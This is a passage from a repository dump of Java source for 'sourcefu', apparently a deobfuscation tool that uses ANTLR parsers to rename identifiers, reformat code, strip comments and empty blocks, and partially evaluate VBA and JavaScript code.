| 'export'=92 194 | 'import'=93 195 | 'implements'=94 196 | 'let'=95 197 | 'private'=96 198 | 'public'=97 199 | 'interface'=98 200 | 'package'=99 201 | 'protected'=100 202 | 'static'=101 203 | 'yield'=102 204 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/JS/helpers/JSAPIUtils.java: -------------------------------------------------------------------------------- 1 | package sourcefu.JS.helpers; 2 | 3 | import org.antlr.v4.runtime.CharStream; 4 | import org.antlr.v4.runtime.CharStreams; 5 | import org.antlr.v4.runtime.CommonTokenStream; 6 | import org.antlr.v4.runtime.tree.ParseTree; 7 | import org.antlr.v4.runtime.tree.ParseTreeWalker; 8 | 9 | import sourcefu.JS.JSRenamer; 10 | import sourcefu.JS.antlr.JavaScriptBaseLexer; 11 | import sourcefu.JS.antlr.JavaScriptLexer; 12 | import sourcefu.JS.antlr.JavaScriptParser; 13 | 14 | public class JSAPIUtils { 15 | 16 | public CharStream getCharStreamFromData(String data) { 17 | CharStream input = CharStreams.fromString(data); 18 | return input; 19 | } 20 | 21 | public CommonTokenStream generateTokens(CharStream input) { 22 | JavaScriptLexer lexer = new JavaScriptLexer(input); 23 | CommonTokenStream tokens = new CommonTokenStream(lexer); 24 | return tokens; 25 | } 26 | 27 | public ParseTree generateTree(CommonTokenStream tokens) { 28 | JavaScriptParser parser = new JavaScriptParser(tokens); 29 | ParseTree tree = parser.program(); 30 | return tree; 31 | } 32 | 33 | public String APIRename(String initial_data) { 34 | CharStream input = getCharStreamFromData(initial_data); 35 | CommonTokenStream tokens = generateTokens(input); 36 | ParseTree tree = generateTree(tokens); 37 | ParseTreeWalker walker = new ParseTreeWalker(); 38 | JSRenamer renamer = new JSRenamer(tokens); 39 | walker.walk(renamer, tree); 40 | renamer.rename(); 41 | return renamer.getdata(); 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/JS/helpers/Scope.java: -------------------------------------------------------------------------------- 1 | package sourcefu.JS.helpers; 2 | 3 | import java.util.LinkedHashMap; 4 | import java.util.Map; 5 | 6 | public class Scope { 7 | Scope enclosingScope; // null if global (outermost) scope 8 | String name; 9 | Map symbols = new LinkedHashMap(); 10 | 11 | public Scope(Scope enclosingScope) { this.enclosingScope = enclosingScope; } 12 | public Scope(Scope enclosingScope, String name) { this(enclosingScope); this.name = name; } 13 | 14 | public String getName() { 15 | return name; 16 | } 17 | public void setName(String name) { 18 | this.name = name; 19 | } 20 | public Map getSymbols() { 21 | return symbols; 22 | } 23 | public void setSymbols(Map symbols) { 24 | this.symbols = symbols; 25 | } 26 | public void define(Symbol sym) { 27 | symbols.put(sym.name, sym); 28 | } 29 | 30 | public Scope getEnclosingScope() { return enclosingScope; } 31 | 32 | public void resolveAndAddIndex(String text, int index, String altname) { 33 | Symbol s = symbols.get(text); 34 | if ( s!=null ) { 35 | s.addIndex(index); 36 | define(s); 37 | return; 38 | } 39 | 40 | // if not here, check any enclosing scope 41 | if ( enclosingScope != null ) { 42 | enclosingScope.resolveAndAddIndex(text, index, altname); 43 | return; 44 | } 45 | 46 | if (enclosingScope == null) { //we are at the global point so define 47 | Symbol sym = new Symbol(text, index, altname); 48 | define(sym); 49 | } 50 | 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/JS/helpers/Symbol.java: -------------------------------------------------------------------------------- 1 | package sourcefu.JS.helpers; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | 6 | public class Symbol { 7 | String name; // All symbols at least have a name 8 | List index= new ArrayList(); //a list of known indexes in tokens for easy rewrite 9 | String altname; 10 | boolean isFuncCall = false; 11 | 12 | //constructors 13 | public Symbol(String name) { this.name = name; } 14 | public Symbol(String name, Integer index) { this(name); this.index.add(index); } 15 | public Symbol(String name, Integer index,String altname) { this(name,index); this.altname=altname;} 16 | public Symbol(String name, Integer index,String altname, boolean isFuncCall) { this(name,index,altname); this.isFuncCall=isFuncCall;} 17 | public Symbol(String name, Integer index, boolean isFuncCall) { this(name,index); this.isFuncCall=isFuncCall;} 18 | 19 | //normal operations 20 | 21 | public void addIndex(Integer index) { 22 | this.index.add(index); 23 | } 24 | 25 | //setters and getters 26 | 27 | public List getIndex() { 28 | return index; 29 | } 30 | 31 | public void setIndex(List index) { 32 | this.index = index; 33 | } 34 | 35 | public String getAltname() { 36 | return altname; 37 | } 38 | 39 | public void setAltname(String altname) { 40 | this.altname = altname; 41 | } 42 | 43 | public String getName() { return name; } 44 | 45 | public boolean getisFuncCall() {return this.isFuncCall;} 46 | 47 | public String toString() { 48 | return '<'+getName()+":"+String.valueOf(index)+":"+altname+'>'; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/JS/helpers/VariableSymbol.java: -------------------------------------------------------------------------------- 1 | package sourcefu.JS.helpers; 2 | 3 | public class VariableSymbol extends Symbol { 4 | public VariableSymbol(String name, Integer index) { super(name, index); } 5 | 6 | public VariableSymbol(String name, Integer index, String altname) { 7 | super(name, index, altname); 8 | // TODO Auto-generated constructor stub 9 | } 10 | 11 | public VariableSymbol(String name, Integer index, String altname, boolean isFuncCall) { 12 | super(name,index,altname,isFuncCall); 13 | } 14 | 15 | public VariableSymbol(String name, Integer index,boolean isFuncCall) { 16 | super(name, index, isFuncCall); 17 | } 18 | 19 | public VariableSymbol(String name) { 20 | super(name); 21 | // TODO Auto-generated constructor stub 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/VBABeautifier.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA; 2 | 3 | import org.antlr.v4.runtime.CommonTokenStream; 4 | import org.antlr.v4.runtime.TokenStreamRewriter; 5 | 6 | import sourcefu.VBA.antlr.VBAParser; 7 | import sourcefu.VBA.antlr.VBAParserBaseListener; 8 | 9 | public class VBABeautifier extends VBAParserBaseListener{ 10 | 11 | TokenStreamRewriter rewriter; 12 | Integer IndentLevel; 13 | 14 | public VBABeautifier(CommonTokenStream tokens) { 15 | rewriter=new TokenStreamRewriter(tokens); 16 | this.IndentLevel = 0; 17 | } 18 | 19 | public void enterBlockStmt(VBAParser.BlockStmtContext ctx) { 20 | rewriter.insertBefore(ctx.start.getTokenIndex(), getIndentation()); 21 | } 22 | 23 | /* 24 | TODO : rajouter indent fin boucles 25 | */ 26 | 27 | public void enterSubStmt(VBAParser.SubStmtContext ctx) { 28 | rewriter.insertBefore(ctx.start.getTokenIndex(), "\n"); 29 | } 30 | 31 | public void enterFunctionStmt(VBAParser.FunctionStmtContext ctx) { 32 | rewriter.insertBefore(ctx.start.getTokenIndex(), "\n"); 33 | } 34 | 35 | public void exitIfStmt(VBAParser.IfStmtContext ctx) { 36 | rewriter.insertBefore(ctx.END_IF().getSymbol(), getIndentation()); 37 | } 38 | 39 | public void enterElseBlock(VBAParser.ElseBlockContext ctx) { 40 | rewriter.insertBefore(ctx.start.getTokenIndex(), getIndentation()); 41 | } 42 | 43 | public void enterElseIfBlock(VBAParser.ElseIfBlockContext ctx) { 44 | rewriter.insertBefore(ctx.start.getTokenIndex(), getIndentation()); 45 | } 46 | 47 | public void exitForEachStmt(VBAParser.ForEachStmtContext ctx) { 48 | if (ctx.NEXT()!=null) { 49 | rewriter.insertBefore(ctx.NEXT().getSymbol(), getIndentation()); 50 | } 51 | } 52 | 53 | public void exitForNextStmt(VBAParser.ForNextStmtContext ctx) { 54 | if (ctx.NEXT()!=null) { 55 | rewriter.insertBefore(ctx.NEXT().getSymbol(), getIndentation()); 56 | } 57 | } 58 | 59 | public void enterBlock(VBAParser.BlockContext ctx) { 60 | this.IndentLevel +=1; 61 | } 62 | 63 | public void exitBlock(VBAParser.BlockContext ctx) { 64 | this.IndentLevel-=1; 65 | } 66 | 67 | public void enterUnterminatedBlock(VBAParser.UnterminatedBlockContext ctx) { 68 | this.IndentLevel +=1; 69 | } 70 | 71 | public void exitUnterminatedBlock(VBAParser.UnterminatedBlockContext ctx) { 72 | this.IndentLevel-=1; 73 | } 74 | 75 | public void exitEndOfStatement(VBAParser.EndOfStatementContext ctx) { 76 | rewriter.replace(ctx.start.getTokenIndex(),ctx.stop.getTokenIndex(),"\n"); 77 | } 78 | 79 | private String getIndentation() { 80 | return new String(new char[this.IndentLevel]).replace("\0"," "); 81 | } 82 | 83 | public String getdata() {return rewriter.getText();} 84 | 85 | } 86 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/VBACommentsDeleter.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA; 2 | 3 | import org.antlr.v4.runtime.CommonTokenStream; 4 | import org.antlr.v4.runtime.TokenStreamRewriter; 5 | 6 | import sourcefu.VBA.antlr.VBAParser; 7 | import sourcefu.VBA.antlr.VBAParserBaseListener; 8 | 9 | public class VBACommentsDeleter extends VBAParserBaseListener { 10 | TokenStreamRewriter rewriter; 11 | 12 | public VBACommentsDeleter(CommonTokenStream tokens) { 13 | rewriter=new TokenStreamRewriter(tokens); 14 | } 15 | 16 | public void enterCommentOrAnnotation(VBAParser.CommentOrAnnotationContext ctx) { 17 | this.rewriter.delete(ctx.start.getTokenIndex(), ctx.stop.getTokenIndex()); 18 | } 19 | 20 | public void enterAnnotationList(VBAParser.AnnotationListContext ctx) { 21 | this.rewriter.delete(ctx.start.getTokenIndex(), ctx.stop.getTokenIndex()); 22 | } 23 | 24 | public String getdata() { 25 | return rewriter.getText(); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/VBAEmptyBlockRemover.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA; 2 | 3 | import org.antlr.v4.runtime.CommonTokenStream; 4 | import org.antlr.v4.runtime.TokenStreamRewriter; 5 | 6 | import sourcefu.VBA.antlr.VBAParser; 7 | import sourcefu.VBA.antlr.VBAParserBaseListener; 8 | 9 | public class VBAEmptyBlockRemover extends VBAParserBaseListener { 10 | TokenStreamRewriter rewriter; 11 | private Integer numberModifications=0; 12 | 13 | public VBAEmptyBlockRemover(CommonTokenStream tokens) { 14 | rewriter=new TokenStreamRewriter(tokens); 15 | } 16 | 17 | //we handle the cases of FOR stmts, using unterminated block instead of blocks 18 | 19 | public void enterForEachStmt(VBAParser.ForEachStmtContext ctx) { 20 | if(ctx.unterminatedBlock() != null) { 21 | if (ctx.unterminatedBlock().getText().equals("")){ 22 | this.rewriter.delete(ctx.start.getTokenIndex(), ctx.stop.getTokenIndex()); 23 | this.rewriter.getText(); 24 | this.numberModifications+=1; 25 | } 26 | } else { 27 | this.rewriter.delete(ctx.start.getTokenIndex(), ctx.stop.getTokenIndex()); 28 | this.rewriter.getText(); //going to last token to avoid overlapping rewriting operations 29 | this.numberModifications+=1; 30 | } 31 | } 32 | 33 | public void enterForNextStmt(VBAParser.ForNextStmtContext ctx) { 34 | if(ctx.unterminatedBlock() != null) { 35 | if (ctx.unterminatedBlock().getText().equals("")){ 36 | this.rewriter.delete(ctx.start.getTokenIndex(), ctx.stop.getTokenIndex()); 37 | this.rewriter.getText(); //going to last token to avoid overlapping rewriting operations 38 | this.numberModifications+=1; 39 | } 40 | } else { 41 | this.rewriter.delete(ctx.start.getTokenIndex(), ctx.stop.getTokenIndex()); 42 | this.rewriter.getText(); //going to last token to avoid overlapping rewriting operations 43 | this.numberModifications+=1; 44 | } 45 | } 46 | 47 | 48 | //otherwise, if any block is empty, just remove its parent from the text 49 | public void enterBlock(VBAParser.BlockContext ctx) { 50 | if (ctx.getText().equals("")) { 51 | this.rewriter.delete(ctx.getParent().start.getTokenIndex(), ctx.getParent().stop.getTokenIndex()); 52 | this.rewriter.getText(); 53 | this.numberModifications+=1; 54 | } 55 | } 56 | 57 | 58 | public String getdata() { 59 | return rewriter.getText(); 60 | } 61 | 62 | public Integer getNumberModifications() { 63 | return this.numberModifications; 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/VBAPartialEvaluator.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA; 2 | 3 | import java.util.ArrayList; 4 | import java.util.LinkedHashMap; 5 | import java.util.List; 6 | import java.util.Map; 7 | import java.util.Map.Entry; 8 | 9 | import org.antlr.v4.runtime.CommonTokenStream; 10 | import org.antlr.v4.runtime.Token; 11 | import org.antlr.v4.runtime.TokenStreamRewriter; 12 | import org.antlr.v4.runtime.tree.ParseTree; 13 | import org.antlr.v4.runtime.tree.ParseTreeWalker; 14 | 15 | import sourcefu.VBA.partialevaluator.RewriteOperation; 16 | import sourcefu.VBA.partialevaluator.VBACommonFunctionsEvaluator; 17 | import sourcefu.VBA.partialevaluator.VBAExprEvaluator; 18 | import sourcefu.lib.CtxValue; 19 | import sourcefu.lib.ProxyParseTreeListener; 20 | 21 | public class VBAPartialEvaluator { 22 | 23 | TokenStreamRewriter rewriter; 24 | CommonTokenStream tokens; 25 | ParseTree tree; 26 | Integer numberModifications = 0; 27 | Map operations; 28 | 29 | public VBAPartialEvaluator(ParseTree tree, CommonTokenStream tokens) { 30 | this.tree = tree; 31 | this.tokens = tokens; 32 | this.rewriter = new TokenStreamRewriter(tokens); 33 | this.operations = new LinkedHashMap(); 34 | } 35 | 36 | public void partialeval() { 37 | //System.out.println("visiting"); 38 | //VBAVisitorTest test = new VBAVisitorTest(); 39 | //test.visit(tree); 40 | //System.out.println("end visiting"); 41 | 42 | ParseTreeWalker walker = new ParseTreeWalker(); 43 | CtxValue ctxvalue = new CtxValue(); 44 | VBACommonFunctionsEvaluator commonFunctionsEval = new VBACommonFunctionsEvaluator(this.tokens,ctxvalue,this.rewriter,this.operations); 45 | VBAExprEvaluator exprEval = new VBAExprEvaluator(this.tokens,ctxvalue,this.rewriter, this.operations); 46 | VBAConstantFolding constFolding = new VBAConstantFolding(this.tokens, ctxvalue, this.rewriter, this.operations); 47 | ProxyParseTreeListener proxy = new ProxyParseTreeListener(); 48 | proxy.add(commonFunctionsEval); 49 | proxy.add(exprEval); 50 | proxy.add(constFolding); 51 | walker.walk(proxy, this.tree); 52 | //walker.walk(proxy, this.tree); 53 | this.numberModifications+=commonFunctionsEval.getNumberModifications(); 54 | this.numberModifications+=exprEval.getNumberModifications(); 55 | this.numberModifications+=constFolding.getNumberModifications(); 56 | //System.out.println("number modifications :" + String.valueOf(this.numberModifications)); 57 | applyModifications(); 58 | } 59 | 60 | public void applyModifications() { 61 | List opToRemove = new ArrayList(); 62 | //gosh this is ugly but we need to check for overlapping instructions 63 | // like for example with have ((2+3)+(3+2)), where the last parenthesis gets a rewrite inside the big one... 64 | for(Entry entry: this.operations.entrySet()) { 65 | for(Entry entry2: this.operations.entrySet()) { 66 | if((entry2.getValue().start.getTokenIndex() > entry.getValue().start.getTokenIndex()) && 67 | (entry2.getValue().stop.getTokenIndex() < entry.getValue().stop.getTokenIndex())) { 68 | opToRemove.add(entry2.getKey()); 69 | } 70 | } 71 | } 72 | 73 | for(Token entry: opToRemove) { 74 | this.operations.remove(entry); 75 | } 76 | 77 | for(Entry entry: this.operations.entrySet()) { 78 | this.rewriter.replace(entry.getValue().start, entry.getValue().stop, entry.getValue().replacement); 79 | } 80 | } 81 | 82 | public String getdata() { 83 | //System.out.println(this.rewriter.toString()); 84 | /*for(Entry entry: this.operations.entrySet()) { 85 | System.out.print("entry : "); 86 | System.out.println(entry.getValue().start); 87 | //this.rewriter.replace(entry.getValue().start, entry.getValue().stop, entry.getValue().replacement); 88 | }*/ 89 | return this.rewriter.getText(); 90 | } 91 | 92 | public int getNumberModifications() { 93 | return this.numberModifications; 94 | } 95 | 96 | } 97 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/VBAVisitorTest.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA; 2 | 3 | import sourcefu.VBA.antlr.VBAParser; 4 | import sourcefu.VBA.antlr.VBAParserBaseVisitor; 5 | 6 | public class VBAVisitorTest extends VBAParserBaseVisitor{ 7 | 8 | public Object visitAddOp(VBAParser.AddOpContext ctx) { 9 | System.out.println("coucou add op!"); 10 | return visitChildren(ctx); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/fullinterpreter/ModuleDecl.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.fullinterpreter; 2 | /* 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | 6 | public class ModuleDecl { 7 | 8 | public Map attributes = new HashMap(); 9 | 10 | private boolean explicit = false; 11 | 12 | public enum CompareMode { 13 | Binary, Text 14 | } 15 | private CompareMode compareMode = CompareMode.Binary; 16 | 17 | 18 | 19 | //getters and setters 20 | public String getName() { 21 | return name; 22 | } 23 | public void setName(String name) { 24 | this.name = name; 25 | } 26 | public CompareMode getCompareMode() { 27 | return compareMode; 28 | } 29 | public void setCompareMode(CompareMode compareMode) { 30 | this.compareMode = compareMode; 31 | } 32 | 33 | } 34 | */ -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/fullinterpreter/Visibility.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.fullinterpreter; 2 | 3 | public enum Visibility { 4 | PRIVATE, 5 | PUBLIC, 6 | FRIEND, 7 | GLOBAL, 8 | Hidden; 9 | } 10 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/BaseScope.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | import java.util.LinkedHashMap; 4 | import java.util.Map; 5 | 6 | public abstract class BaseScope implements Scope { 7 | Scope enclosingScope; // null if global (outermost) scope 8 | Map symbols = new LinkedHashMap(); 9 | 10 | public BaseScope(Scope enclosingScope) { this.enclosingScope = enclosingScope; } 11 | 12 | public Symbol resolve(String name) { 13 | Symbol s = symbols.get(name); 14 | if ( s!=null ) return s; 15 | // if not here, check any enclosing scope 16 | if ( enclosingScope != null ) return enclosingScope.resolve(name); 17 | return null; // not found 18 | } 19 | 20 | public void define(Symbol sym) { 21 | symbols.put(sym.name, sym); 22 | } 23 | 24 | public Scope getEnclosingScope() { return enclosingScope; } 25 | 26 | public String toString() { return getScopeName()+":"+symbols.keySet().toString(); } 27 | } 28 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/ConstantFoldingBaseScope.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | import java.util.LinkedHashMap; 4 | import java.util.Map; 5 | 6 | public class ConstantFoldingBaseScope { 7 | Map variables = new LinkedHashMap(); 8 | 9 | public void addVariable(String varName, Object varValue) { 10 | this.variables.put(varName, varValue); 11 | } 12 | 13 | public Object getVariableValue(String varName) { 14 | return this.variables.get(varName); 15 | } 16 | 17 | public Boolean checkInVariables(String varName) { 18 | return this.variables.containsKey(varName); 19 | } 20 | } 21 | 22 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/ConstantFoldingFunction.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | import java.util.ArrayList; 4 | 5 | public class ConstantFoldingFunction extends ConstantFoldingBaseScope{ 6 | String name; 7 | ArrayList arguments = new ArrayList(); 8 | 9 | public ConstantFoldingFunction(String name) { 10 | this.name=name; 11 | } 12 | 13 | public void addArgument(String argname) { 14 | this.arguments.add(argname); 15 | } 16 | 17 | public boolean checkInArgs(String name) { 18 | if (this.arguments.contains(name)) { 19 | return true; 20 | } 21 | return false; 22 | } 23 | 24 | public String getName() { 25 | return name; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/DeadStoreBaseScope.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | import java.util.ArrayList; 4 | import java.util.LinkedHashMap; 5 | import java.util.Map; 6 | 7 | public class DeadStoreBaseScope { 8 | 9 | Map> defs = new LinkedHashMap>(); 10 | 11 | public Map> getDefs() { 12 | return defs; 13 | } 14 | 15 | public void addDefs(DeadStoreStatement def) { 16 | if(this.defs.containsKey(def.varName)) { 17 | ArrayList actual_stmts = this.defs.get(def.varName); 18 | actual_stmts.add(def); 19 | this.defs.put(def.varName, actual_stmts); 20 | }else { //our map do not contain the object, create a new object with its statements 21 | ArrayList stmts = new ArrayList(); 22 | stmts.add(def); 23 | this.defs.put(def.varName,stmts); 24 | } 25 | } 26 | 27 | public boolean checkInDefs(String name) { 28 | if (this.defs.containsKey(name)) { 29 | return true; 30 | } 31 | return false; 32 | } 33 | 34 | public DeadStoreStatement getDefByName(String name) { 35 | return this.defs.get(name).get(this.defs.get(name).size()-1); //we always return the last member 36 | } 37 | 38 | public void setUsed(String name) { 39 | DeadStoreStatement stmt = getDefByName(name); 40 | stmt.setToErase(false); 41 | this.defs.get(name).set(this.defs.get(name).size()-1, stmt); 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/DeadStoreFunction.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | import java.util.ArrayList; 4 | import java.util.LinkedHashMap; 5 | import java.util.Map; 6 | 7 | public class DeadStoreFunction extends DeadStoreBaseScope{ 8 | String name; 9 | ArrayList arguments = new ArrayList(); 10 | 11 | public DeadStoreFunction(String name) { 12 | this.name=name; 13 | } 14 | 15 | public void addArgument(String argname) { 16 | this.arguments.add(argname); 17 | } 18 | 19 | public boolean checkInDefs(String name) { 20 | if (this.defs.containsKey(name)) { 21 | return true; 22 | } 23 | return false; 24 | } 25 | 26 | public boolean checkInArgs(String name) { 27 | if (this.arguments.contains(name)) { 28 | return true; 29 | } 30 | return false; 31 | } 32 | 33 | public String getName() { 34 | return name; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/DeadStoreStatement.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | public class DeadStoreStatement { 4 | public DeadStoreStatement(Integer stmtStart, Integer stmtStop, String varName, Integer varNameTokenIndex) { 5 | super(); 6 | this.stmtStart = stmtStart; 7 | this.stmtStop = stmtStop; 8 | this.varName = varName; 9 | this.varNameTokenIndex = varNameTokenIndex; 10 | //this.toErase = toErase; 11 | } 12 | Integer stmtStart; 13 | Integer stmtStop; 14 | String varName; 15 | Integer varNameTokenIndex; 16 | public Integer getVarNameTokenIndex() { 17 | return varNameTokenIndex; 18 | } 19 | public void setVarNameTokenIndex(Integer varNameTokenIndex) { 20 | this.varNameTokenIndex = varNameTokenIndex; 21 | } 22 | Boolean toErase = true; 23 | 24 | public Integer getStmtStart() { 25 | return stmtStart; 26 | } 27 | public void setStmtStart(Integer stmtStart) { 28 | this.stmtStart = stmtStart; 29 | } 30 | public Integer getStmtStop() { 31 | return stmtStop; 32 | } 33 | public void setStmtStop(Integer stmtStop) { 34 | this.stmtStop = stmtStop; 35 | } 36 | public String getVarName() { 37 | return varName; 38 | } 39 | public void setVarName(String varName) { 40 | this.varName = varName; 41 | } 42 | public Boolean getToErase() { 43 | return toErase; 44 | } 45 | public void setToErase(Boolean toErase) { 46 | this.toErase = toErase; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/FunctionSymbol.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | import java.util.LinkedHashMap; 4 | import java.util.Map; 5 | 6 | public class FunctionSymbol extends Symbol implements Scope { 7 | Map arguments = new LinkedHashMap(); 8 | public Map getArguments() { 9 | return arguments; 10 | } 11 | 12 | public void setArguments(Map arguments) { 13 | this.arguments = arguments; 14 | } 15 | 16 | Map locals = new LinkedHashMap(); 17 | public Map getLocals() { 18 | return locals; 19 | } 20 | 21 | public void setLocals(Map locals) { 22 | this.locals = locals; 23 | } 24 | 25 | GlobalScope globalScope; 26 | 27 | public FunctionSymbol(String name, Integer index, GlobalScope globalScope) { 28 | super(name, index); 29 | this.globalScope = globalScope; 30 | } 31 | 32 | public FunctionSymbol(String name, Integer index, GlobalScope globalScope,String altname) { 33 | this(name,index,globalScope); 34 | this.altname=altname; 35 | } 36 | 37 | 38 | public boolean checkArg(Symbol s) { 39 | if(arguments.containsKey(s.name)) { 40 | return true; 41 | } 42 | return false; 43 | } 44 | 45 | public boolean checkLocal(Symbol s) { 46 | if(locals.containsKey(s.name)) { 47 | return true; 48 | } 49 | return false; 50 | } 51 | 52 | public Symbol checkGlobal(Symbol s) { 53 | Symbol checkMe = globalScope.resolve(s.name); 54 | return checkMe; 55 | } 56 | 57 | public boolean checkSymbolAdd(Symbol sym) { 58 | if ( sym.name.equals(this.name) && sym.index.equals(this.index)) { //is the identifier the function name? 59 | return false; 60 | } 61 | 62 | if (arguments.containsKey(sym.name)) { 63 | for(Map.Entry entry:arguments.entrySet()) { 64 | if((entry.getKey().equals(sym.name))&&(entry.getValue().index.equals(sym.index))) { 65 | return false; 66 | } 67 | } 68 | } 69 | return true; 70 | } 71 | 72 | public void define(Symbol sym) { 73 | if (!checkSymbolAdd(sym)) { 74 | return; 75 | } 76 | 77 | if (checkArg(sym)) { 78 | arguments.get(sym.name).addIndex(sym.index.get(0)); 79 | }else if(checkLocal(sym)) { 80 | locals.get(sym.name).addIndex(sym.index.get(0)); 81 | }else if(checkGlobal(sym)!=null) { 82 | globalScope.symbols.get(sym.name).addIndex(sym.index.get(0)); 83 | }else { 84 | locals.put(sym.name, sym); 85 | } 86 | } 87 | 88 | public void defineArgs(Symbol sym) { 89 | arguments.put(sym.name, sym); 90 | } 91 | 92 | public Scope getEnclosingScope() { return globalScope; } 93 | public String getScopeName() { return name; } 94 | 95 | public String toString() { return "function"+super.toString()+":"+arguments.values()+":"+locals.values(); } 96 | 97 | @Override 98 | public Symbol resolve(String name) { 99 | // TODO Auto-generated method stub 100 | return null; 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/GlobalScope.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | import java.util.LinkedHashMap; 4 | import java.util.Map; 5 | 6 | public class GlobalScope extends BaseScope { 7 | 8 | public GlobalScope(Scope enclosingScope) { super(enclosingScope); } 9 | public String getScopeName() { return "globals"; } 10 | 11 | public Map getSymbols() { 12 | return this.symbols; 13 | } 14 | 15 | @Override 16 | public boolean checkSymbolAdd(Symbol sym) { 17 | return true; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/LocalScope.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | public class LocalScope extends BaseScope { 4 | public LocalScope(Scope parent) { super(parent); } 5 | public String getScopeName() { return "locals"; } 6 | @Override 7 | public boolean checkSymbolAdd(Symbol sym) { 8 | return true; 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/Scope.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | public interface Scope { 4 | public String getScopeName(); 5 | 6 | /** Where to look next for symbols */ 7 | public Scope getEnclosingScope(); 8 | 9 | /** Define a symbol in the current scope */ 10 | public void define(Symbol sym); 11 | 12 | /** Look up name in this scope or in enclosing scope if not here */ 13 | public Symbol resolve(String name); 14 | 15 | public boolean checkSymbolAdd(Symbol sym); 16 | } 17 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/Symbol.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | 6 | public class Symbol { 7 | String name; // All symbols at least have a name 8 | List index= new ArrayList(); //a list of known indexes in tokens for easy rewrite 9 | String altname; 10 | boolean isFuncCall = false; 11 | 12 | //constructors 13 | public Symbol(String name) { this.name = name; } 14 | public Symbol(String name, Integer index) { this(name); this.index.add(index); } 15 | public Symbol(String name, Integer index,String altname) { this(name,index); this.altname=altname;} 16 | public Symbol(String name, Integer index,String altname, boolean isFuncCall) { this(name,index,altname); this.isFuncCall=isFuncCall;} 17 | public Symbol(String name, Integer index, boolean isFuncCall) { this(name,index); this.isFuncCall=isFuncCall;} 18 | 19 | //normal operations 20 | 21 | public void addIndex(Integer index) { 22 | this.index.add(index); 23 | } 24 | 25 | //setters and getters 26 | 27 | public List getIndex() { 28 | return index; 29 | } 30 | 31 | public void setIndex(List index) { 32 | this.index = index; 33 | } 34 | 35 | public String getAltname() { 36 | return altname; 37 | } 38 | 39 | public void setAltname(String altname) { 40 | this.altname = altname; 41 | } 42 | 43 | public String getName() { return name; } 44 | 45 | public boolean getisFuncCall() {return this.isFuncCall;} 46 | 47 | public String toString() { 48 | return '<'+getName()+":"+String.valueOf(index)+":"+altname+'>'; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/helpers/VariableSymbol.java: -------------------------------------------------------------------------------- 1 | package sourcefu.VBA.helpers; 2 | 3 | public class VariableSymbol extends Symbol { 4 | public VariableSymbol(String name, Integer index) { super(name, index); } 5 | 6 | public VariableSymbol(String name, Integer index, String altname) { 7 | super(name, index, altname); 8 | // TODO Auto-generated constructor stub 9 | } 10 | 11 | public VariableSymbol(String name, Integer index, String altname, boolean isFuncCall) { 12 | super(name,index,altname,isFuncCall); 13 | } 14 | 15 | public VariableSymbol(String name, Integer index,boolean isFuncCall) { 16 | super(name, index, isFuncCall); 17 | } 18 | 19 | public VariableSymbol(String name) { 20 | super(name); 21 | // TODO Auto-generated constructor stub 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/VBA/partialevaluator/RewriteOperation.java: 